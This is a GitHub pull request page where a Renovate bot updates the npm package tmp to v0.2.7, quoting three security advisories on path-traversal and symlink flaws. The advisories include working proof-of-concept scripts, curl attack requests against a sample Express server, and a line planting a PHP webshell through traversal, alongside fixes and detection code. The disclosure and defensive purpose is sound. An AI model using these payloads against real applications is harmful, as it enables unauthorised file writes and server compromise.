Skip to content

chore(deps): update dependency tmp to v0.2.7 [security]#3953

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate-npm-tmp-vulnerability
Open

chore(deps): update dependency tmp to v0.2.7 [security]#3953
renovate[bot] wants to merge 1 commit into
mainfrom
renovate-npm-tmp-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 18, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
tmp 0.2.60.2.7 age confidence

tmp allows arbitrary temporary file / directory write via symbolic link dir parameter

CVE-2025-54798 / GHSA-52f5-9888-hmc6

More information

Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}
PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}
Impact

Arbitrary temporary file / directory write via symlink

Severity

  • CVSS Score: 2.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape

CVE-2026-44705 / GHSA-ph9p-34f9-6g65

More information

Details

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

  1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
  2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
  3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
  4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

  • prefix/postfix traversal: ../../../evil in prefix escapes directory structure
  • Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
  • Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text
  • Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points:

  • No input validation on prefix, postfix, or dir parameters
  • Direct use of user input in path construction
  • Reliance on path.join() normalization without containment checks
  • Missing post-construction validation that final path remains within intended directory
PoC

Basic Path Traversal via prefix:

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({ 
  tmpdir: baseDir, 
  prefix: '../escaped' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Created file:', filepath);
  console.log('Relative to base:', path.relative(baseDir, filepath));
  // Output shows: ../escaped-<pid>-<random>
  
  cleanup();
});

Directory Escape via postfix:

tmp.file({ 
  tmpdir: baseDir, 
  postfix: '/../../pwned.txt' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Escaped file:', filepath);
  console.log('Escaped outside base:', !filepath.startsWith(baseDir));
  
  cleanup();
});

Absolute Path Bypass via dir:

tmp.file({ 
  tmpdir: '/safe/tmp/dir', 
  dir: '/tmp/evil-location',
  prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Bypassed to:', filepath);
  // File created in /tmp/evil-location instead of /safe/tmp/dir
  
  cleanup();
});

Advanced Multi-Vector Attack:

const maliciousOpts = {
  tmpdir: '/app/safe-tmp',
  dir: '../../../tmp',           // Escape base
  prefix: '../sensitive-area/',   // Further traversal
  postfix: 'malicious.config'     // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
  // Results in file creation at: /tmp/sensitive-area/malicious.config
  console.log('Final malicious path:', filepath);
  cleanup();
});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
  return new Promise((resolve, reject) => {
    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
      if (err) return reject(err);
      
      fs.writeSync(fd, content);
      console.log('User file created at:', path);
      resolve({ path, cleanup });
    });
  });
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory
Impact

Arbitrary File Creation:

  • Files created outside intended temporary directories
  • Attacker control over file placement location
  • Potential to overwrite existing files (depending on creation flags)
  • Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

  • User uploads file with malicious prefix/postfix
  • tmp creates "temporary" file in application configuration directory
  • Malicious configuration loaded on next application restart

2. Cache Poisoning:

  • Application caches user content using tmp
  • Attacker escapes to cache directory of different user/tenant
  • Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

  • CI/CD system processes user PRs with tmp usage
  • Malicious prefix escapes to build output directories
  • Compromised build artifacts deployed to production

4. Container Escape Attempt:

  • Containerized application uses tmp with user input
  • Attacker attempts to escape container temp restrictions
  • Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

  • SaaS platform isolates tenants using separate tmp directories
  • Tenant A escapes their tmp space to tenant B's area
  • Cross-tenant data access and potential privilege escalation

Business Impact:

  • Data Integrity: Unauthorized file placement can corrupt application state
  • Service Disruption: Files in wrong locations may break application functionality
  • Security Bypass: Escape temporary isolation boundaries
  • Compliance Violations: Files containing sensitive data placed in uncontrolled locations
Affected Products
  • Ecosystem: npm
  • Package name: tmp
  • Repository: github.com/raszi/node-tmp
  • Affected versions: All versions with vulnerable path construction logic
  • Patched versions: None currently available

Component Impact:

  • tmp.file() function - vulnerable to prefix/postfix/dir traversal
  • tmp.dir() function - vulnerable to same parameter manipulation
  • tmp.tmpName() function - if using affected path construction

Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Remediation

Input Validation and Sanitization:

  1. Sanitize prefix/postfix:
function sanitizePrefix(prefix) {
  if (!prefix) return '';
  // Remove path separators and traversal sequences
  return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}

function sanitizePostfix(postfix) {
  if (!postfix) return '';
  // Allow only safe characters
  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
  1. Validate dir parameter:
function validateDir(dir, baseDir) {
  if (!dir) return '';
  
  // Reject absolute paths
  if (path.isAbsolute(dir)) {
    throw new Error('Absolute paths not allowed for dir option');
  }
  
  // Resolve and check containment
  const resolved = path.resolve(baseDir, dir);
  const relative = path.relative(baseDir, resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Dir option escapes base directory');
  }
  
  return dir;
}
  1. Post-construction path validation:
function validateFinalPath(finalPath, baseDir) {
  const resolved = path.resolve(finalPath);
  const relative = path.relative(path.resolve(baseDir), resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Generated path escapes temporary directory');
  }
  
  return resolved;
}

Secure Implementation Pattern:

function createTempFile(options) {
  const opts = { ...options };
  
  // Sanitize inputs
  opts.prefix = sanitizePrefix(opts.prefix);
  opts.postfix = sanitizePostfix(opts.postfix);
  opts.dir = validateDir(opts.dir, opts.tmpdir);
  
  // Create with sanitized options
  return tmp.file(opts, (err, path, fd, cleanup) => {
    if (err) return callback(err);
    
    // Validate final path
    try {
      validateFinalPath(path, opts.tmpdir);
    } catch (validationErr) {
      cleanup();
      return callback(validationErr);
    }
    
    callback(null, path, fd, cleanup);
  });
}
Workarounds

For Application Developers:

  1. Input Sanitization:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
  const safeOpts = {
    ...userOptions,
    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
    dir: undefined // Don't allow user-controlled dir
  };
  
  return tmp.file(safeOpts);
}
  1. Path Validation:
function validateTmpPath(tmpPath, expectedBase) {
  const relativePath = path.relative(expectedBase, tmpPath);
  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
    throw new Error('Temporary file path escaped base directory');
  }
  return tmpPath;
}
  1. Restricted Usage:
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

  1. Code Review Patterns:
##### Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
  1. Runtime Monitoring:
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
  return originalFile(options, (err, path, fd, cleanup) => {
    if (!err && options.tmpdir) {
      const relative = require('path').relative(options.tmpdir, path);
      if (relative.startsWith('..')) {
        console.warn('Path traversal detected:', path);
      }
    }
    return callback(err, path, fd, cleanup);
  });
};
Detection and Monitoring

Static Analysis:

  • Scan for tmp usage with user-controlled input
  • Identify unsanitized parameter passing to tmp functions
  • Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operations
function monitorTmpUsage() {
  const originalTmpFile = require('tmp').file;
  
  require('tmp').file = function(options = {}, callback) {
    // Check for suspicious patterns
    const suspicious = [
      options.prefix && options.prefix.includes('..'),
      options.postfix && options.postfix.includes('..'),  
      options.dir && path.isAbsolute(options.dir)
    ].some(Boolean);
    
    if (suspicious) {
      console.warn('Suspicious tmp usage detected:', options);
    }
    
    return originalTmpFile.call(this, options, callback);
  };
}

File System Monitoring:

##### Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
  if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
    echo "Unexpected file creation: $file"
  fi
done
Acknowledgements

Reported by: Mapta / BugBunny_ai

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template

CVE-2026-49982 / GHSA-7c78-jf6q-g5cm

More information

Details

Summary

The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact
  • Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
  • Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
  • File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches _assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

  1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
  2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on tmp@0.2.6:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true
End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

  • ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
  • ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@&#8203; 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

  • ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@&#8203;@&#8203; -528,11 +528,14 @&#8203;@&#8203; function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @&#8203;private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@&#8203;@&#8203; -575,9 +578,9 @&#8203;@&#8203; function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

raszi/node-tmp (tmp)

v0.2.7

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency label Jul 18, 2026
@netlify

netlify Bot commented Jul 18, 2026

Copy link
Copy Markdown

Deploy Preview for brilliant-pasca-3e80ec canceled.

Name Link
🔨 Latest commit 09a525d
🔍 Latest deploy log https://app.netlify.com/projects/brilliant-pasca-3e80ec/deploys/6a5c08193045c8000886b86a

@github-actions

Copy link
Copy Markdown

🚀 Performance Test Results

Test Configuration:

  • VUs: 4
  • Duration: 1m0s

Test Metrics:

  • Requests/s: 47.22
  • Iterations/s: 15.73
  • Failed Requests: 0.00% (0 of 2836)
📜 Logs

> performance@1.0.0 run-tests:testenv /home/runner/work/rafiki/rafiki/test/performance
> ./scripts/run-tests.sh -e test -k -q --vus 4 --duration 1m

Cloud Nine GraphQL API is up: http://localhost:3101/graphql
Cloud Nine Wallet Address is up: http://localhost:3100/
Happy Life Bank Address is up: http://localhost:4100/
cloud-nine-wallet-test-backend already set
cloud-nine-wallet-test-auth already set
happy-life-bank-test-backend already set
happy-life-bank-test-auth already set
     data_received..................: 1.0 MB 17 kB/s
     data_sent......................: 2.2 MB 36 kB/s
     http_req_blocked...............: avg=5.67µs   min=1.49µs   med=4.39µs   max=865.72µs p(90)=5.79µs   p(95)=6.42µs  
     http_req_connecting............: avg=246ns    min=0s       med=0s       max=214.48µs p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=84.22ms  min=6.4ms    med=61.27ms  max=665.97ms p(90)=144.72ms p(95)=192.86ms
       { expected_response:true }...: avg=84.22ms  min=6.4ms    med=61.27ms  max=665.97ms p(90)=144.72ms p(95)=192.86ms
     http_req_failed................: 0.00%  ✓ 0         ✗ 2836
     http_req_receiving.............: avg=80.27µs  min=17.2µs   med=71.39µs  max=1.9ms    p(90)=101.87µs p(95)=128µs   
     http_req_sending...............: avg=30.67µs  min=7.34µs   med=21.96µs  max=2.02ms   p(90)=33.74µs  p(95)=45.04µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=84.11ms  min=6.3ms    med=61.19ms  max=665.87ms p(90)=144.6ms  p(95)=192.8ms 
     http_reqs......................: 2836   47.220578/s
     iteration_duration.............: avg=254.16ms min=132.44ms med=220.14ms max=794.75ms p(90)=375.85ms p(95)=476.54ms
     iterations.....................: 945    15.734643/s
     vus............................: 4      min=4       max=4 
     vus_max........................: 4      min=4       max=4 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants